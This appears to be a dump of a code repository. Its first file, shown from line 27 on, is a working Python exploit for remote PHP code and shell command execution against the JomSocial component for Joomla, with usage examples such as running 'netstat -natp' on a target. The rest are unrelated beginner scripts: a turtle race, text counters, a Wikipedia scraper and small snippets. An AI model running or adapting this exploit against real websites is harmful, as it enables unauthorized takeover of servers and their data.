 27 | # Exploit shell commands(using a user provided function, passthru in this case)
 28 | # ./exploit.py -u http://example.com/joomla/index.php -s "netstat -natp" -c passthru
 29 | #
 30 | # Exploit execution example:
 31 | # $ python exploit.py -u http://example.com/index.php -p 'var_dump("Hello World!");'
 32 | # [i] Retrieving cookies and anti-CSRF token... Done
 33 | # [+] Executing PHP code...
 34 | # string(12) "Hello World!"
 35 | 
 36 | import urllib, urllib2, re, argparse, sys, os, cookielib
 37 | 
 38 | class Exploit:
 39 |     token_request_data = 'option=com_community&view=frontpage'
 40 |     exploit_request_data = 'option=community&no_html=1&task=azrul_ajax&func=photos,ajaxUploadAvatar&{0}=1&arg2=["_d_","Event"]&arg3=["_d_","374"]&arg4=["_d_","{1}"]'
 41 |     json_data = '{{"call":["CStringHelper","escape", "{1}","{0}"]}}'
 42 |     
 43 |     def __init__(self, url, user_agent = None, use_eval = True):
 44 |         self.url = url
 45 |         self._set_user_agent(user_agent)
 46 |         self.use_eval = use_eval
 47 |         self.token_regex = re.compile('')
 48 |         self.cookie_jar = cookielib.CookieJar()
 49 |         self.token = self._retrieve_token()
 50 |         self.result_regex = re.compile('method=\\\\"POST\\\\" enctype=\\\\"multipart\\\\/form-data\\\\">
(.*)', re.DOTALL)
 51 |         self.command_regex = re.compile('(.*)\\[\\["as","ajax_calls","d",""\\]', re.DOTALL)
 52 |     
 53 |     def _set_user_agent(self, user_agent):
 54 |         self.user_agent = user_agent
 55 |     
 56 |     def _make_opener(self):
 57 |         opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie_jar))
 58 |         opener.addheaders.append(('Referer', self.url))
 59 |         if self.user_agent:
 60 |             opener.addheaders.append(('User-Agent', self.user_agent))
 61 |         return opener
 62 |     
 63 |     def _retrieve_token(self):
 64 |         opener = self._make_opener()
 65 |         sys.stdout.write('[i] Retrieving cookies and anti-CSRF token... ')
 66 |         sys.stdout.flush()
 67 |         req = opener.open(self.url, Exploit.token_request_data)
 68 |         data = req.read()
 69 |         token = self.token_regex.findall(data)
 70 |         if len(token) < 1:
 71 |             print 'Failed'
 72 |             raise Exception("Could not retrieve anti-CSRF token")
 73 |         print 'Done'
 74 |         return token[0]
 75 | 
 76 |     def _do_call_function(self, function, parameter):
 77 |         parameter = parameter.replace('"', '\\"')
 78 |         json_data = Exploit.json_data.format(function, parameter)
 79 |         json_data = urllib2.quote(json_data)
 80 |         data = Exploit.exploit_request_data.format(self.token, json_data)
 81 |         opener = self._make_opener()
 82 |         req = opener.open(self.url, data)
 83 |         if function == 'assert':
 84 |             return req.read()
 85 |         elif function in ['system', 'passthru']:
 86 |             result = self.command_regex.findall(req.read())
 87 |             if len(result) == 1:
 88 |                 return result[0]
 89 |             else:
 90 |                 return "[+] Error executing command."
 91 |         else:
 92 |             result = self.result_regex.findall(req.read())
 93 |             if len(result) == 1:
 94 |                 return result[0].replace('\\/', '/').replace('\\"', '"').replace('\\n', '\n')
 95 |             else:
 96 |                 return "[+] Error executing command."
 97 |     
 98 |     def call_function(self, function, parameter):
 99 |         if self.use_eval:
100 |             return self.eval("echo {0}('{1}')".format(function, parameter))
101 |         else:
102 |             return self._do_call_function(function, parameter)
103 |     
104 |     def disabled_functions(self):
105 |         return self.call_function("ini_get", "disable_functions")
106 | 
107 |     def test_injection(self):
108 |         result = self.eval("echo 'HELLO' . ' - ' . 'WORLD';")
109 |         if 'HELLO - WORLD' in result:
110 |             print "[+] Code injection using eval works"
111 |         else:
112 |             print "[+] Code injection doesn't work. Try executing shell commands."
113 | 
114 |     def eval(self, code):
115 |         if code [-1] != ';':
116 |             code = code + ';'
117 |         return self._do_call_function('assert', "@exit(@eval(@base64_decode('{0}')));".format(code.encode('base64').replace('\n', '')))
118 |     
119 | 
120 | 
121 | parser = argparse.ArgumentParser(
122 |     description="JomSocial >= 2.6 - Code execution exploit"
123 | )
124 | parser.add_argument('-u', '--url', help='the base URL', required=True)
125 | parser.add_argument(
126 |     '-p', 
127 |     '--php-code', 
128 |     help='the PHP code to execute. Use \'-\' to read from stdin, or provide a file path to read from')
129 | parser.add_argument('-s', '--shell-command', help='the shell command to execute')
130 | parser.add_argument('-c', '--shell-function', help='the PHP function to use when executing shell commands', default="system")
131 | parser.add_argument('-t', '--test', action='store_true', help='test the PHP code injection using eval', default=False)
132 | parser.add_argument('-n', '--no-eval', action='store_false', help='don\'t use eval when executing shell commands', default=True)
133 | 
134 | args = parser.parse_args() 
135 | if not args.test and not args.php_code and not args.shell_command:
136 |     print '[-] Need -p, -t or -s to do something...'
137 |     exit(1)
138 | url = args.url
139 | try:
140 |     if not url.startswith('http://') and not url.startswith('https://'):
141 |         url = 'http://' + url
142 |     exploit = Exploit(url, use_eval=args.no_eval)
143 |     if args.test:
144 |         exploit.test_injection()
145 |     elif args.php_code:
146 |         code = args.php_code
147 |         if args.php_code == '-':
148 |             print '[i] Enter the code to be executed:'
149 |             code = sys.stdin.read()
150 |         elif os.path.isfile(code):
151 |             try:
152 |                 fd = open(code)
153 |                 code = fd.read()
154 |                 fd.close()
155 |             except Exception:
156 |                 print "[-] Error reading the file."
157 |                 exit(1)
158 |         print '[+] Executing PHP code...'
159 |         print exploit.eval(code)
160 |     elif args.shell_command:
161 |         print exploit.call_function(args.shell_function, args.shell_command)
162 | except Exception as ex:
163 |     print '[+] Error: ' + str(ex)
164 | 
--------------------------------------------------------------------------------
/code/run_avl_trees.py:
--------------------------------------------------------------------------------
 1 | ''' run the avl_tree_complete '''
 2 | from avl_tree_complete import Node
 3 | 
 4 | root = Node(10)
 5 | add = [8, 3, 1, 10, 5, 14, 9, 20, 13, 19]
 6 | 
 7 | for i in add:
 8 |     root.insert(i)
 9 | #delete 
10 | #root.delete(8)
11 | #show_tree
12 | #print_tree
13 | #print(max(add))
14 | #print(min(add))
15 | #root.print_tree()
16 | #root.count_levels()
17 | root.show_tree()
18 | 
--------------------------------------------------------------------------------
/code/russss.py:
--------------------------------------------------------------------------------
 1 | #Three lines to make our compiler able to draw:
 2 | import sys
 3 | import matplotlib
 4 | matplotlib.use('Agg')
 5 | 
 6 | import matplotlib.pyplot as plt
 7 | import numpy as np
 8 | 
 9 | x = np.random.normal(170, 10, 250)
10 | 
11 | plt.hist(x)
12 | plt.show()
13 | 
14 | #Two  lines to make our compiler able to draw:
15 | plt.savefig(sys.stdout.buffer)
16 | sys.stdout.flush()
17 | 
--------------------------------------------------------------------------------
/code/string.py:
--------------------------------------------------------------------------------
1 | txt = input('Enter some text: ')
2 | alpha,digit,space = 0,0,0
3 | for x in txt:
4 |     if x.isalpha():alpha+=1
5 |     elif x.isdigit():digit+=1
6 |     elif x.isspace():space +=1
7 | print('No. of Alphabets =',alpha)
8 | print('No. of Digits =',digit)
9 | print('No. of Spaces =',space)
--------------------------------------------------------------------------------
/code/turtle_race.py:
--------------------------------------------------------------------------------
 1 | import turtle
 2 | import random
 3 | 
 4 | colors = ["blue", "red", "green"]
 5 | 
 6 | y_cord = [0, -100, 100]
 7 | 
 8 | all_turtles = []
 9 | 
10 | speeds = [3, 2, 5]
11 | 
12 | turtle.setup(width=900, height=400)
13 | user_bet = turtle.textinput("Which colour do you bet on, Green, yellow or red?", "Give your bet here:")
14 | 
15 | for i in range(3):
16 |     t = turtle.Turtle()
17 |     t.shape("turtle")
18 |     t.color(colors[i])
19 |     t.speed(speeds[i])
20 |     t.penup()
21 |     t.goto(-425, y_cord[i])
22 |     all_turtles.append(t)
23 | 
24 | race = 1
25 | 
26 | while race == 1:
27 |     for x in all_turtles:
28 |         a = random.randint(5, 20)
29 |         x.forward(a)
30 |         t_pos = x.xcor()
31 |         if t_pos >= 425:
32 |             print("The winning turtle is", x.pencolor())
33 |             if user_bet == x.pencolor():
34 |                 print("You are correct!")
35 |             else:
36 |                 print("You are incorrect")
37 |             race = 0
38 | 
--------------------------------------------------------------------------------
/code/vowel.py:
--------------------------------------------------------------------------------
 1 | 
 2 | text = input("Enter text: ")
 3 | mod = ""
 4 | for x in text:
 5 |     if x in "aeiouAIEOU":
 6 |         mod+="*"
 7 |     else:
 8 |         mod+=x
 9 | print('Modified text: ',mod)
10 | 
--------------------------------------------------------------------------------
/code/wikipedia-random.py:
--------------------------------------------------------------------------------
 1 | from bs4 import BeautifulSoup
 2 | import requests
 3 | 
 4 | # Trying to open a random wikipedia article
 5 | # Special:Random opens random articles
 6 | res = requests.get("https://en.wikipedia.org/wiki/Special:Random")
 7 | res.raise_for_status()
 8 | 
 9 | # pip install htmlparser
10 | wiki = BeautifulSoup(res.text, "html.parser")
11 | 
12 | r = open("random_wiki.txt", "w+", encoding='utf-8')
13 | 
14 | # Adding the heading to the text file
15 | heading = wiki.find("h1").text
16 | 
17 | r.write(heading + "\n")
18 | for i in wiki.select("p"):
19 |     # Optional Printing of text
20 |     # print(i.getText())
21 |     r.write(i.getText())
22 | 
23 | r.close()
24 | print("File Saved as random_wiki.txt")
25 | 
--------------------------------------------------------------------------------
/code/wordcount.py:
--------------------------------------------------------------------------------
1 | txt = input('Enter some text: ')
2 | txt = txt.split(' ')
3 | print('No. of words =',len(txt))
--------------------------------------------------------------------------------
/snippets/day-to-hour.md:
--------------------------------------------------------------------------------
 1 | ---
 2 | title: day-to-hour
 3 | tags: math,beginner
 4 | ---
 5 | 
 6 | Convert Day To Hour.
 7 | 
 8 | - Use the formula `hour = (day * 24)` to convert from day to hour.
 9 | 
10 | ```py
11 | def day_to_hour(day):
12 |   hour = (day * 24)
13 |   return hour
14 | ```
15 | 
16 | ```py
17 | day_to_hour(2) # 48
18 | ```
19 | 
--------------------------------------------------------------------------------
/snippets/isprime.md:
--------------------------------------------------------------------------------
 1 | ---
 2 | title: isprime
 3 | tags: math, beginner
 4 | ---
 5 | 
 6 | Check if a number is prime
 7 | 
 8 | - Loop from 2 to square root of the number to check if it is prime
 9 | 
10 | ```py
11 | def isprime(num):
12 |     prime = True # Number is initially prime
13 |     if num > 1:
14 |         for i in range(2, num): # Loop each possible value
15 |             if num % i == 0: # If number is divisible by this value
16 |                 prime = False # Number is no longer prime
17 |                 break
18 |     return prime # Return if number is prime
19 | ```
20 | 
21 | ```py
22 | isprime(5) # True
23 | ```
24 | 
--------------------------------------------------------------------------------
/snippets/reverse string.md:
--------------------------------------------------------------------------------
 1 | 
 2 | ---
 3 | title: Reverse String in python
 4 | tags: string,beginner
 5 | ---
 6 | 
 7 | Reverse String.
 8 | 
 9 | - Use the Slice method to Reverse String.
10 | 
11 | ```py
12 | def my_function(x):
13 |   return x[::-1]
14 | ```
15 | 
16 | ```py
17 | mytxt = my_function("I wonder how this text looks like backwards")
18 | print(mytxt)
19 | # output : sdrawkcab ekil skool txet siht woh rednow I
20 | ```
21 | 
--------------------------------------------------------------------------------